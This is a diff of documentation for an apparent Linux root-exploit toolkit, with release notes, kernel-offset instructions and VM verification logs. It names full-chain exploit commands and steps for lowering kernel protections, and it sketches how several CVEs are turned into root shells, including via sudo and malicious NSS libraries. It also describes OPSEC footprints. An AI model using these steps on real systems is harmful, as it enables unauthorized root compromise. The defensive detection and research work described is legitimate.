and the new entry covers every SKELETONKEY user on that kernel. Open a
|
||||
PR to upstream it.
|
||||
|
||||
### Per-host (write System.map readable)
|
||||
|
||||
```bash
|
||||
sudo chmod 0644 /boot/System.map-$(uname -r)
|
||||
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||
```
|
||||
|
||||
### Per-boot (lower kptr_restrict)
|
||||
|
||||
```bash
|
||||
sudo sysctl kernel.kptr_restrict=0
|
||||
skeletonkey --exploit nf_tables --i-know --full-chain
|
||||
```
|
||||
|
||||
Note: each of these requires root *once*. For a true non-root LPE on
|
||||
an unfamiliar host you need either an info-leak module (EntryBleed
|
||||
gives kbase) plus an embedded table entry, or out-of-band offset
|
||||
acquisition.
|
||||
|
||||
## Adding entries to the embedded table
|
||||
|
||||
In `core/offsets.c`, `kernel_table[]` carries the schema:
|
||||
|
||||
```c
|
||||
{ .release_glob = "5.15.0-25-generic",
|
||||
.distro_match = "ubuntu",
|
||||
.rel_modprobe_path = 0x148e480, // & _text
|
||||
.rel_poweroff_cmd = 0x148e3a0,
|
||||
.rel_init_task = 0x1c11dc0,
|
||||
.rel_init_cred = 0x1e0c460,
|
||||
.cred_offset_real = 0x758,
|
||||
.cred_offset_eff = 0x760, },
|
||||
```
|
||||
|
||||
To populate, on the target kernel:
|
||||
|
||||
```bash
|
||||
# Get _text:
|
||||
_text=$(grep ' _text$' /boot/System.map-$(uname -r) | awk '{print $1}')
|
||||
|
||||
# Get the symbols you want, subtract _text:
|
||||
for sym in modprobe_path poweroff_cmd init_task init_cred; do
|
||||
addr=$(grep " $sym$" /boot/System.map-$(uname -r) | awk '{print $1}')
|
||||
printf "rel_%s = 0x%x\n" $sym $((0x$addr - 0x$_text))
|
||||
done
|
||||
```
|
||||
|
||||
Open a PR with the verified entry and a one-line note on which kernel
|
||||
build + distro you tested against. Upstreamed entries make the
|
||||
`--full-chain` path work out-of-the-box for that build.
|
||||
|
||||
## Verifying success
|
||||
|
||||
The shared finisher (`skeletonkey_finisher_modprobe_path()`) drops a
|
||||
sentinel file at `/tmp/skeletonkey-pwn-<pid>` after `modprobe` runs our
|
||||
payload. The finisher polls for this file with `S_ISUID` mode set
|
||||
for up to 3 seconds. Only when the sentinel materializes does the
|
||||
module return `SKELETONKEY_EXPLOIT_OK` and (unless `--no-shell`) exec
|
||||
the setuid bash to drop a root shell.
|
||||
|
||||
If the sentinel never appears the module returns `SKELETONKEY_EXPLOIT_FAIL`
|
||||
with a diagnostic. Reasons it might fail even with offsets resolved:
|
||||
|
||||
- The arb-write didn't actually land (slab adjacency lost, value-pointer
|
||||
field at unexpected offset, race not won)
|
||||
- `modprobe_path` resolution was wrong (KASLR slide miscalculated,
|
||||
embedded-table entry stale)
|
||||
- Kernel `STATIC_USERMODEHELPER` config disables the modprobe path
|
||||
- AppArmor / SELinux / Lockdown LSM blocks the userspace `modprobe`
|
||||
invocation
|
||||
|
||||
## Why `modprobe_path` and not `current->cred->uid = 0`?
|
||||
|
||||
The cred-overwrite finisher needs an arb-READ primitive too — to walk
|
||||
the task linked list from `init_task` and find the calling process's
|
||||
`task_struct`. Most of our 🟡 modules have only an arb-write primitive,
|
||||
not a paired read. `modprobe_path` only needs a write to a single
|
||||
known global, which is why it's the default finisher.
|
||||
@@ -0,0 +1,448 @@
|
||||
## SKELETONKEY v0.9.3 — CVE metadata refresh + dirtydecrypt range fix
|
||||
|
||||
**CVE metadata refresh (10 → 12 KEV).** Populated the 8 missing
|
||||
entries in `core/cve_metadata.c` for v0.8.0 + v0.9.0 module additions.
|
||||
Two of them are CISA-KEV-listed:
|
||||
|
||||
- **CVE-2018-14634** `mutagen_astronomy` — KEV-listed 2026-01-26 (CWE-190)
|
||||
- **CVE-2025-32463** `sudo_chwoot` — KEV-listed 2025-09-29 (CWE-829)
|
||||
|
||||
Other 6 entries got CWE / ATT&CK technique metadata so `--explain` and
|
||||
`--module-info` now surface WEAKNESS + THREAT INTEL correctly for them.
|
||||
(`tools/refresh-cve-metadata.py` hangs on CISA's HTTP/2 endpoint via
|
||||
Python urlopen — populated directly via curl + max-time as a workaround.)
|
||||
|
||||
**dirtydecrypt module bug fix.** Auditing dirtydecrypt's range table
|
||||
against NVD's authoritative CPE match for CVE-2026-31635 surfaced that
|
||||
`dd_detect()` was wrongly gating "predates the bug" on kernel < 7.0.
|
||||
Per NVD, the rxgk RESPONSE bug entered at 6.16.1 stable; vulnerable
|
||||
ranges are 6.16.1–6.18.22, 6.19.0–6.19.12, and 7.0-rc1..rc7. The fix:
|
||||
|
||||
- `dd_detect()` predates-gate now uses 6.16.1 (not 7.0)
|
||||
- `patched_branches[]` table adds `{6, 18, 23}` for the 6.18 backport
|
||||
|
||||
Re-verified empirically: dirtydecrypt now correctly returns VULNERABLE
|
||||
on mainline 6.19.7 (genuinely below the 6.19.13 backport). Previously
|
||||
it returned OK there — a false negative that would have lied to anyone
|
||||
running scan on a real vulnerable kernel.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.2 — dirtydecrypt verified on mainline 6.19.7
|
||||
|
||||
One more empirical verification: **CVE-2026-31635 dirtydecrypt** confirmed
|
||||
end-to-end on Ubuntu 22.04 + mainline 6.19.7. detect() correctly returns
|
||||
OK ("kernel predates the rxgk RESPONSE-handling code added in 7.0"). Footer
|
||||
goes 27 → 28.
|
||||
|
||||
Attempted but deferred: **CVE-2026-46300 fragnesia**. Mainline 7.0.5 kernel
|
||||
.debs depend on `libssl3t64` / `libelf1t64` (the t64-transition libs
|
||||
introduced in Ubuntu 24.04 / Debian 13). No Vagrant box with a Parallels
|
||||
provider has those libs yet — `dpkg --force-depends` leaves the kernel
|
||||
package in `iHR` (broken) state with no `/boot/vmlinuz` deposited. Marked
|
||||
`manual: true` with rationale in `targets.yaml`. Resolvable when a
|
||||
Parallels-supported ubuntu2404 / debian13 box becomes available.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.1 — VM verification sweep (22 → 27)
|
||||
|
||||
Five more CVEs empirically confirmed end-to-end against real Linux VMs
|
||||
via `tools/verify-vm/`:
|
||||
|
||||
| CVE | Module | Target environment |
|
||||
|---|---|---|
|
||||
| CVE-2019-14287 | `sudo_runas_neg1` | Ubuntu 18.04 (sudo 1.8.21p2 + `(ALL,!root)` grant via provisioner) |
|
||||
| CVE-2020-29661 | `tioscpgrp` | Ubuntu 20.04 pinned to `5.4.0-26` (genuinely below the 5.4.85 backport) |
|
||||
| CVE-2024-26581 | `nft_pipapo` | Ubuntu 22.04 + mainline `5.15.5` (below the 5.15.149 fix) |
|
||||
| CVE-2025-32463 | `sudo_chwoot` | Ubuntu 22.04 + sudo `1.9.16p1` built from upstream into `/usr/local/bin` |
|
||||
| CVE-2025-6019 | `udisks_libblockdev` | Debian 12 + `udisks2` 2.9.4 + polkit allow rule for the verifier user |
|
||||
|
||||
Footer goes from `22 empirically verified` → `27 empirically verified`.
|
||||
|
||||
### Verifier infrastructure (the why)
|
||||
|
||||
These verifications required real plumbing work that didn't exist before:
|
||||
|
||||
- **Per-module provisioner hook** (`tools/verify-vm/provisioners/<module>.sh`)
|
||||
— per-target setup that doesn't belong in the Vagrantfile (build sudo
|
||||
from source, install udisks2 + polkit rule, drop a sudoers grant) now
|
||||
lives in checked-in scripts that re-run idempotently on every verify.
|
||||
- **Two-phase provisioning** in `verify.sh` — prep provisioners run
|
||||
first (install kernel, set grub default, drop polkit rule), then a
|
||||
conditional reboot if `uname -r` doesn't match the target, then the
|
||||
verifier proper. Fixes the silent-fail where the new kernel was
|
||||
installed but the VM never actually rebooted into it.
|
||||
- **GRUB_DEFAULT pin in both `pin-kernel` and `pin-mainline` blocks** —
|
||||
without this, grub's debian-version-compare picks the highest-sorting
|
||||
vmlinuz as default; for downgrades (stock 4.15 → mainline 4.14.70, or
|
||||
stock 5.4.0-169 → pinned 5.4.0-26) the wrong kernel won boot.
|
||||
- **Old-mainline URL fallback** — kernel.ubuntu.com puts ≤ 4.15 mainline
|
||||
debs at `/v${KVER}/` not `/v${KVER}/amd64/`. Fallback handles both.
|
||||
|
||||
### Honest residuals — 7 of 34 still unverified
|
||||
|
||||
| Module | Why not verified |
|
||||
|---|---|
|
||||
| `vmwgfx` | needs a VMware guest; we're on Parallels |
|
||||
| `dirty_cow` | needs ≤ 4.4 kernel — older than any supported Vagrant box |
|
||||
| `mutagen_astronomy` | mainline 4.14.70 kernel-panics on Ubuntu 18.04 rootfs (`Failed to execute /init (error -8)` — kernel config mismatch). Genuinely needs CentOS 6 / Debian 7. |
|
||||
| `pintheft` | needs RDS kernel module loaded (Arch only autoloads it) |
|
||||
| `vsock_uaf` | needs `vsock_loopback` loaded — not autoloaded on common Vagrant boxes |
|
||||
| `dirtydecrypt`, `fragnesia` | need Linux 7.0 — not yet shipping as any distro kernel |
|
||||
|
||||
All seven are flagged in `tools/verify-vm/targets.yaml` with `manual: true`
|
||||
and a rationale.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.9.0 — every year 2016 → 2026 now covered
|
||||
|
||||
Five gap-filling modules. Closes the 2018 hole entirely and thickens
|
||||
2019 / 2020 / 2024.
|
||||
|
||||
### CVE-2018-14634 — `mutagen_astronomy` (Qualys)
|
||||
|
||||
Closes the 2018 gap. `create_elf_tables()` int-wrap → on x86_64, a
|
||||
multi-GiB argv blob makes the kernel under-allocate the SUID
|
||||
carrier's stack and corrupt adjacent allocations. CISA-KEV-listed
|
||||
Jan 2026 despite the bug's age — legacy RHEL 7 / CentOS 7 / Debian
|
||||
8 fleets still affected. 🟡 PRIMITIVE (trigger documented;
|
||||
Qualys' full chain not bundled per verified-vs-claimed).
|
||||
`arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### CVE-2019-14287 — `sudo_runas_neg1` (Joe Vennix)
|
||||
|
||||
`sudo -u#-1 <cmd>` → uid_t underflows to 0xFFFFFFFF → sudo treats it
|
||||
as uid 0 → runs `<cmd>` as root even when sudoers explicitly says
|
||||
"ALL except root". Pure userspace logic bug; the famous Apple
|
||||
Information Security finding. detect() looks for a `(ALL,!root)`
|
||||
grant in `sudo -ln` output. `arch_support: any`. Sudo < 1.8.28.
|
||||
|
||||
### CVE-2020-29661 — `tioscpgrp` (Jann Horn / Project Zero)
|
||||
|
||||
TTY `TIOCSPGRP` ioctl race on PTY pairs → `struct pid` UAF in
|
||||
kmalloc-256. Affects everything through Linux 5.9.13. 🟡 PRIMITIVE
|
||||
(race-driver + msg_msg groom). Public PoCs from grsecurity/spender
|
||||
+ Maxime Peterlin. `arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### CVE-2024-50264 — `vsock_uaf` (a13xp0p0v / Pwnie 2025 winner)
|
||||
|
||||
AF_VSOCK `connect()` races a POSIX signal that tears down the
|
||||
virtio_vsock_sock → UAF in kmalloc-96. **Pwn2Own 2024 + Pwnie Award
|
||||
2025 winner.** Reachable as plain unprivileged user (no userns
|
||||
required — unusual). Two public exploit paths: @v4bel + @qwerty
|
||||
kernelCTF chain (BPF JIT spray + SLUBStick) and Alexander Popov's
|
||||
msg_msg path (PT SWARM Sep 2025). 🟡 PRIMITIVE.
|
||||
`arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### CVE-2024-26581 — `nft_pipapo` (Notselwyn II, "Flipping Pages")
|
||||
|
||||
`nft_set_pipapo` destroy-race UAF. Sibling to our `nf_tables` module
|
||||
(CVE-2024-1086) — same Notselwyn "Flipping Pages" research paper,
|
||||
different specific bug in the pipapo set substrate. Same family
|
||||
detect signature. 🟡 PRIMITIVE.
|
||||
`arch_support: x86_64+unverified-arm64`.
|
||||
|
||||
### Year-by-year coverage matrix
|
||||
|
||||
```
|
||||
2016: ▓ 1 2021: ▓▓▓▓▓ 5 2025: ▓▓ 2
|
||||
2017: ▓ 1 2022: ▓▓▓▓▓ 5 2026: ▓▓▓▓ 4
|
||||
2018: ▓ 1 ← 2023: ▓▓▓▓▓▓▓▓ 8
|
||||
2019: ▓▓ 2 ← 2024: ▓▓▓ 3 ←
|
||||
2020: ▓▓ 2 ←
|
||||
```
|
||||
|
||||
Every year 2016 → 2026 is now ≥1.
|
||||
|
||||
### Corpus growth
|
||||
|
||||
| | v0.8.0 | v0.9.0 |
|
||||
|---|---|---|
|
||||
| Modules registered | 34 | 39 |
|
||||
| Distinct CVEs | 29 | 34 |
|
||||
| Years with ≥1 CVE | 10 of 11 (missing 2018) | **11 of 11** |
|
||||
| Detection rules embedded | 131 | 151 |
|
||||
| Arch-independent (`any`) | 6 | 7 |
|
||||
| VM-verified | 22 | 22 |
|
||||
|
||||
### Other changes
|
||||
|
||||
- All 5 new modules ship complete detection-rule corpus
|
||||
(auditd + sigma + yara + falco) — corpus stays at 4-format
|
||||
parity with the rest of the modules.
|
||||
- `tools/refresh-cve-metadata.py` runs against 34 CVEs (was 29);
|
||||
takes ~4 minutes due to NVD anonymous rate limit.
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.8.0 — 3 new 2025/2026 CVEs
|
||||
|
||||
Closes the 2025 coverage gap. Three new modules from CVEs disclosed
|
||||
2025–2026, all with public PoC code we ported into proper
|
||||
SKELETONKEY modules:
|
||||
|
||||
### CVE-2025-32463 — `sudo_chwoot` (Stratascale)
|
||||
|
||||
Critical (CVSS 9.3) sudo logic bug: `sudo --chroot=<DIR>` chroots
|
||||
into a user-controlled directory before completing authorization +
|
||||
resolves user/group via NSS inside the chroot. Plant a malicious
|
||||
`libnss_*.so` + an `nsswitch.conf` that points to it; sudo dlopens
|
||||
the .so as root, ctor fires, root shell. Affects sudo 1.9.14 to
|
||||
1.9.17p0; fixed in 1.9.17p1 (which deprecated --chroot entirely).
|
||||
`arch_support: any` (pure userspace).
|
||||
|
||||
### CVE-2025-6019 — `udisks_libblockdev` (Qualys)
|
||||
|
||||
udisks2 + libblockdev SUID-on-mount chain. libblockdev's internal
|
||||
filesystem-resize/repair mount path omits `MS_NOSUID` and
|
||||
`MS_NODEV`. udisks2 gates the operation on polkit's
|
||||
`org.freedesktop.UDisks2.modify-device` action, which is
|
||||
`allow_active=yes` by default → any active console session user can
|
||||
trigger it without a password. Build an ext4 image with a SUID-root
|
||||
shell inside, get udisks to mount it, execute the SUID shell.
|
||||
Affects libblockdev < 3.3.1, udisks2 < 2.10.2. `arch_support: any`.
|
||||
|
||||
### CVE-2026-43494 — `pintheft` (V12 Security)
|
||||
|
||||
Linux kernel RDS zerocopy double-free. `rds_message_zcopy_from_user()`
|
||||
pins user pages one at a time; if a later page faults, the error
|
||||
unwind drops the already-pinned pages, but the msg's scatterlist
|
||||
cleanup drops them AGAIN. Each failed `sendmsg(MSG_ZEROCOPY)` leaks
|
||||
one pin refcount. Chain via io_uring fixed buffers to overwrite the
|
||||
page cache of a readable SUID binary → execve → root. Mainline fix
|
||||
commit `0cebaccef3ac` (posted to netdev 2026-05-05). Among common
|
||||
distros only **Arch Linux** autoloads the rds module — Ubuntu /
|
||||
Debian / Fedora / RHEL / Alma / Rocky / Oracle Linux either don't
|
||||
build it or blacklist autoload. `detect()` correctly returns OK
|
||||
on non-Arch hosts (RDS unreachable from userland). 🟡 PRIMITIVE
|
||||
status: primitive fires; full cred-overwrite via the shared
|
||||
modprobe_path finisher requires `--full-chain` on x86_64.
|
||||
|
||||
### Corpus growth
|
||||
|
||||
| | v0.7.1 | v0.8.0 |
|
||||
|---|---|---|
|
||||
| Modules registered | 31 | 34 |
|
||||
| Distinct CVEs | 26 | 29 |
|
||||
| 2025-CVE coverage | 0 | 2 |
|
||||
| Detection rules embedded | 119 | 131 |
|
||||
| Arch-independent (`any`) | 4 | 6 |
|
||||
| CISA KEV-listed | 10 | 10 (new ones not yet KEV'd) |
|
||||
| VM-verified | 22 | 22 |
|
||||
|
||||
### Other changes
|
||||
|
||||
- `tools/refresh-cve-metadata.py` — added curl fallback for the
|
||||
CISA KEV CSV fetch (Python's urlopen was hitting timeouts against
|
||||
CISA's HTTP/2 endpoint).
|
||||
- `tools/verify-vm/targets.yaml` — entries for the 3 new modules
|
||||
with honest "no Vagrant box covers this yet" notes for
|
||||
pintheft (needs Arch) and udisks_libblockdev (needs active
|
||||
console session + udisks2 installed).
|
||||
|
||||
---
|
||||
|
||||
## SKELETONKEY v0.7.1 — arm64-static binary + per-module arch_support
|
||||
|
||||
Point release on top of v0.7.0. Two additions:
|
||||
|
||||
1. **`skeletonkey-arm64-static`** is now published alongside the
|
||||
existing x86_64-static binary. Built native-arm64 in Alpine via
|
||||
GitHub's `ubuntu-24.04-arm` runner pool. Works on Raspberry Pi 4+,
|
||||
Apple Silicon Linux VMs, AWS Graviton, Oracle Ampere, Hetzner ARM,
|
||||
and any other aarch64 Linux. `install.sh` auto-picks it.
|
||||
|
||||
2. **`arch_support` per module** — a new field on
|
||||
`struct skeletonkey_module` that honestly labels which architectures
|
||||
the `exploit()` body has been verified on. Three categories:
|
||||
|
||||
- **`any`** (4 modules): pwnkit, sudo_samedit, sudoedit_editor,
|
||||
pack2theroot. Purely userspace; arch-independent.
|
||||
- **`x86_64`** (1 module): entrybleed. KPTI prefetchnta side-channel;
|
||||
x86-only by physics (ARM uses TTBR_EL0/EL1 split, not CR3).
|
||||
Already gated in source — returns PRECOND_FAIL on non-x86_64.
|
||||
- **`x86_64+unverified-arm64`** (26 modules): kernel-exploitation
|
||||
code that hasn't been verified on arm64 yet. `detect()` works
|
||||
everywhere (it just reads `ctx->host`); the `exploit()` body uses
|
||||
primitives (msg_msg sprays, ROP-style finishers, specific struct
|
||||
offsets) that are likely portable to aarch64 but unproven.
|
||||
|
||||
`--list` adds an ARCH column; `--module-info` adds an `arch support:`
|
||||
line; `--scan --json` adds an `arch_support` field per module.
|
||||
|
||||
**What an arm64 user gets today:** the full detection/triage workflow
|
||||
works as well as on x86_64 (`--scan`, `--explain`, `--module-info`,
|
||||
`--detect-rules`, `--auto --dry-run`). Four exploit modules
|
||||
(`pwnkit`, `sudo_samedit`, `sudoedit_editor`, `pack2theroot`) will fire
|
||||
end-to-end. The remaining 26 modules currently mark themselves as
|
||||
"x86_64 verified; arm64 untested" — the bug class is generic but the
|
||||
exploitation hasn't been confirmed. Future arm64-Vagrant verification
|
||||
sweeps will promote modules to `any` as they're confirmed.
|
||||
|
||||
---
|
||||
|
||||
### From v0.7.0 — empirical verification + operator briefing
|
||||
|
||||
The headline change since v0.6.0: **22 of 26 CVEs are now empirically
|
||||
confirmed against real Linux kernels in VMs**, with verification records
|
||||
baked into the binary and surfaced in `--list`, `--module-info`, and
|
||||
`--explain`. The four still-unverified entries (`vmwgfx`, `dirty_cow`,
|
||||
`dirtydecrypt`, `fragnesia`) are blocked by their target environment
|
||||
(VMware-only, ≤4.4 kernel, Linux 7.0 not yet shipping), not by missing
|
||||
code — see
|
||||
[`tools/verify-vm/targets.yaml`](https://github.com/KaraZajac/SKELETONKEY/blob/main/tools/verify-vm/targets.yaml)
|
||||
for the rationale.
|
||||
|
||||
### Install
|
||||
|
||||
Pre-built binaries below (x86_64 dynamic, x86_64 static-musl, arm64
|
||||
dynamic; all checksum-verified). Recommended for new installs:
|
||||
|
||||
```bash
|
||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||
skeletonkey --version
|
||||
```
|
||||
|
||||
Static-musl x86_64 is the default — works back to glibc 2.17, no
|
||||
library dependencies.
|
||||
|
||||
### What's in this release
|
||||
|
||||
**Empirical verification (the big one)**
|
||||
- `tools/verify-vm/` — Vagrant + Parallels scaffold. Boots
|
||||
known-vulnerable kernels (stock distro or mainline via
|
||||
`kernel.ubuntu.com/mainline/`), runs `--explain --active` per module,
|
||||
records match/mismatch as JSONL.
|
||||
- 22 modules confirmed end-to-end across Ubuntu 18.04 / 20.04 / 22.04 +
|
||||
Debian 11 / 12 + mainline kernels 5.15.5 / 6.1.10.
|
||||
- Per-module `verified_on[]` table baked into the binary. `--list` adds
|
||||
a `VFY` column showing ✓ per verified module; footer prints
|
||||
`31 modules registered · 10 in CISA KEV (★) · 22 empirically verified
|
||||
in real VMs (✓)`.
|
||||
- `--module-info <name>` adds a `--- verified on ---` section.
|
||||
- `--explain <name>` adds a `VERIFIED ON` section.
|
||||
|
||||
**`--explain MODULE` — one-page operator briefing**
|
||||
|
||||
A single command renders, for any module: CVE / CWE / MITRE ATT&CK /
|
||||
CISA KEV status, host fingerprint, **live `detect()` trace** with
|
||||
verdict and interpretation, **OPSEC footprint** (what an exploit
|
||||
would leave on this host), detection-rule coverage matrix, and
|
||||
verification records. Paste-ready for triage tickets and SOC handoffs.
|
||||
|
||||
**CVE metadata pipeline**
|
||||
|
||||
`tools/refresh-cve-metadata.py` fetches CISA's Known Exploited
|
||||
Vulnerabilities catalog + NVD CWE classifications, generates
|
||||
`docs/CVE_METADATA.json` + `docs/KEV_CROSSREF.md` + the in-binary
|
||||
lookup table. **10 of 26 modules cover KEV-listed CVEs.** MITRE ATT&CK
|
||||
technique mapping (T1068 by default; T1611 for container escapes;
|
||||
T1082 for kernel info leaks). All surfaced in `--list` (★ column),
|
||||
`--module-info`, `--explain`, and `--scan --json` (new `triage`
|
||||
sub-object per module).
|
||||
|
||||
**Per-module OPSEC notes**
|
||||
|
||||
Every module's struct now carries an `opsec_notes` paragraph describing
|
||||
the runtime telemetry footprint: file artifacts, dmesg signatures,
|
||||
syscall observables, network activity, persistence side effects,
|
||||
cleanup behavior. Grounded in source + existing detection rules — the
|
||||
inverse of what the auditd/sigma/yara/falco rules look for. Surfaced
|
||||
in `--module-info` (text + JSON) and `--explain`.
|
||||
|
||||
**119 detection rules across all 4 SIEM formats**
|
||||
|
||||
Previously: auditd everywhere, sigma on top-10, yara/falco only on a
|
||||
handful. Now: 30/31 auditd, 31/31 sigma, 28/31 yara, 30/31 falco
|
||||
(the 3 remaining gaps are intentional skips — `entrybleed` is a pure
|
||||
timing side-channel with no syscall/file footprint;
|
||||
`ptrace_traceme` and `sudo_samedit` are pure-memory races with no
|
||||
on-disk artifacts).
|
||||
|
||||
**Test harness**
|
||||
|
||||
88 tests on every push: 33 kernel_range / host-fingerprint unit tests
|
||||
(`tests/test_kernel_range.c` — boundary conditions, NULL safety,
|
||||
multi-LTS, mainline-only) + 55 `detect()` integration tests
|
||||
(`tests/test_detect.c` — synthetic host fingerprints across 26
|
||||
modules). Coverage report at the end identifies any modules without
|
||||
direct test rows.
|
||||
|
||||
**`core/host.c` shared host-fingerprint refactor**
|
||||
|
||||
One probe of kernel / arch / distro / userns gates / apparmor /
|
||||
selinux / lockdown / sudo + polkit versions at startup. Every
|
||||
module's `detect()` consumes `ctx->host`. Adds `meltdown_mitigation[]`
|
||||
passthrough so `entrybleed` can distinguish "Not affected" (CPU
|
||||
immune; OK) from "Mitigation: PTI" (KPTI on; vulnerable to
|
||||
EntryBleed) without re-reading sysfs.
|
||||
|
||||
**kernel_range drift detector**
|
||||
|
||||
`tools/refresh-kernel-ranges.py` polls Debian's security tracker and
|
||||
reports drift between the embedded `kernel_patched_from` tables and
|
||||
what Debian actually ships. Already used to apply 9 corpus fixes in
|
||||
v0.7.0; 9 more `TOO_TIGHT` findings pending per-commit verification.
|
||||
|
||||
**Marketing-grade landing page**
|
||||
|
||||
[karazajac.github.io/SKELETONKEY](https://karazajac.github.io/SKELETONKEY/)
|
||||
— animated hero, `--explain` showcase with line-by-line typed terminal,
|
||||
bento-grid features, KEV / verification stat chips. New Open Graph
|
||||
card renders correctly on Twitter/LinkedIn/Slack/Discord.
|
||||
|
||||
### Real findings from the verifier
|
||||
|
||||
A handful of cases that show the project's "verified-vs-claimed bar"
|
||||
thesis paying off in real time:
|
||||
|
||||
- **`dirty_pipe` on Ubuntu 22.04 (5.15.0-91-generic)** — version-only
|
||||
check would say VULNERABLE (5.15.0 < 5.15.25 backport in our table),
|
||||
but Ubuntu has silently backported the fix into the -91 patch level.
|
||||
`--active` correctly identified the primitive as blocked → OK. Only
|
||||
an empirical probe can tell.
|
||||
- **`af_packet` on Ubuntu 18.04 (4.15.0-213-generic)** — our target
|
||||
expectation was wrong; 4.15 is post-fix. Caught + corrected by the
|
||||
verifier sweep.
|
||||
- **`sudoedit_editor` on Ubuntu 22.04** — sudo 1.9.9 is the vulnerable
|
||||
version, but the default vagrant user has no sudoers grant to abuse.
|
||||
`detect()` correctly returns PRECOND_FAIL ("vuln version present, no
|
||||
grant to abuse").
|
||||
|
||||
### Coverage by audience
|
||||
|
||||
- **Red team**: `--auto` ranks vulnerable modules by safety + runs the
|
||||
safest, OPSEC notes per exploit, JSON for pipelines, no telemetry.
|
||||
- **Blue team**: 119 detection rules in all 4 SIEM formats, CISA KEV
|
||||
prioritization, MITRE ATT&CK + CWE annotated, `--explain` triage
|
||||
briefings.
|
||||
- **Researchers**: Source is the docs. CVE metadata sourced from
|
||||
federal databases. `--explain` shows the reasoning chain. 22 VM
|
||||
confirmations for trust.
|
||||
- **Sysadmins**: `--scan` works without sudo. Static-musl binary
|
||||
drops on any Linux. JSON output for CI gates.
|
||||
|
||||
### Compatibility
|
||||
|
||||
- Default install: static-musl x86_64 — works on every Linux back to
|
||||
glibc 2.17 (RHEL 7, Debian 9, Ubuntu 14.04+, Alpine, anything).
|
||||
- Also published: dynamic x86_64 (faster, modern glibc only) and
|
||||
dynamic arm64 (Raspberry Pi 4+, Apple Silicon Linux VMs, ARM
|
||||
servers).
|
||||
|
||||
### Authorized testing only
|
||||
|
||||
SKELETONKEY runs real exploits. By using it you assert you have
|
||||
explicit authorization to test the target system. See
|
||||
[`docs/ETHICS.md`](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ETHICS.md).
|
||||
|
||||
### Links
|
||||
|
||||
- [CVE inventory](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md)
|
||||
- [Verification records](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/VERIFICATIONS.jsonl)
|
||||
- [KEV cross-reference](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/KEV_CROSSREF.md)
|
||||
- [Detection playbook](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/DETECTION_PLAYBOOK.md)
|
||||
- [Architecture](https://github.com/KaraZajac/SKELETONKEY/blob/main/docs/ARCHITECTURE.md)
|
||||
- [Roadmap](https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md)
|
||||
@@ -0,0 +1,36 @@
|
||||
{"module":"pwnkit","verified_at":"2026-05-23T19:26:02Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"cgroup_release_agent","verified_at":"2026-05-23T19:32:07Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"netfilter_xtcompat","verified_at":"2026-05-23T19:33:56Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"fuse_legacy","verified_at":"2026-05-23T19:35:49Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-05-23T19:43:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"OK","status":"MISMATCH"}
|
||||
{"module":"dirty_pipe","verified_at":"2026-05-23T19:44:38Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"OK","actual_detect":"OK","status":"match"}
|
||||
{"module":"entrybleed","verified_at":"2026-05-23T19:50:32Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"overlayfs","verified_at":"2026-05-23T19:52:09Z","host_kernel":"5.4.0-169-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"overlayfs_setuid","verified_at":"2026-05-23T19:54:09Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"sudoedit_editor","verified_at":"2026-05-23T19:56:04Z","host_kernel":"5.15.0-91-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"PRECOND_FAIL","status":"MISMATCH"}
|
||||
{"module":"nft_fwd_dup","verified_at":"2026-05-23T19:57:46Z","host_kernel":"5.10.0-27-amd64","host_distro":"Debian GNU/Linux 11 (bullseye)","vm_box":"generic/debian11","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"ptrace_traceme","verified_at":"2026-05-23T19:59:24Z","host_kernel":"4.15.0-213-generic","host_distro":"Ubuntu 18.04.6 LTS","vm_box":"generic/ubuntu1804","expect_detect":"VULNERABLE","actual_detect":"?","status":"MISMATCH"}
|
||||
